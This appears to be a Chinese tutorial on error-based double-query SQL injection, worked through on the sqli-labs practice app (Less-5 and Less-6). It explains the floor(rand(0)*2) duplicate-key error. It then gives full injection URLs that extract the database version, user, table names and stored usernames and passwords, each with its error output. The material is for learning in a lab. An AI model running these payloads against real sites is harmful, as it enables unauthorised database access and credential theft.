报错注入介绍
报错注入形式上是两个嵌套的查询,即select...(select...),里面的那个select称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及几个sql函数
#随机函数,返回0~1之间的某个值
rand()
#取整数,返回小于等于a,且值最接近a的一个整数
floor(a)
#聚合函数也称做计数函数,返回查询对象的总数
count()
#分组语句,按照查询结果分组
group by caluse
通过报错来显示具体的信息
查询的时候如果使用rand()的话,该值会被计算多次。在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。在一次多记录的查询过程中floor(rand(0)*2)的值 定性的,为011011
#执行sql语句
use mysql;
select count(*) from table group by floor(rand(0)*2);
#报错如下
ERROR 1062 (23000): Duplicate entry '1' for key 'group_key
GET单引号报错注入
进入Less5
#浏览器中输入以下内容,获取版本号,数据库名,用户
http://192.168.8.101/sqli/Less-5/?id=0' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a+--+
#'获得返回结果如下
Duplicate entry '5.5.21::security::root@localhost:1' for key 'group_key'
#浏览器中输入以下内容,获取表名,可修改limit 0,1的值,来获取所有数据库的名称
http://192.168.8.101/sqli/Less-5/?id=0'+union+select+1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a)from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a--+
#'返回值如下
Duplicate entry 'emails::1' for key 'group_key'
#'获取用户信息
http://192.168.8.101/sqli/Less-5/?id=0'+union+select+1,2,3 from (select count(*),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
#'返回如下结果
Duplicate entry 'Angelina::I-kill-you::1' for key 'group_key'
GET双引号报错注入
进入Less6
#浏览器中输入以下内容,获取版本号,数据库名,用户
http://192.168.8.101/sqli/Less-6/?id=0" union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a+--+
#获得返回结果如下
Duplicate entry '5.5.21::security::root@localhost:1' for key 'group_key'
#浏览器中输入以下内容,获取表名,可修改limit 0,1的值,来获取所有数据库的名称
http://192.168.8.101/sqli/Less-6/?id=0"+union+select+1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a)from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a--+
#返回值如下
Duplicate entry 'emails::1' for key 'group_key'
#获取用户信息
http://192.168.8.101/sqli/Less-6/?id=0"+union+select+1,2,3 from (select count(*),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
#'返回如下结果
Duplicate entry 'Angelina::I-kill-you::1' for key 'group_key'
浙公网安备 33010602011771号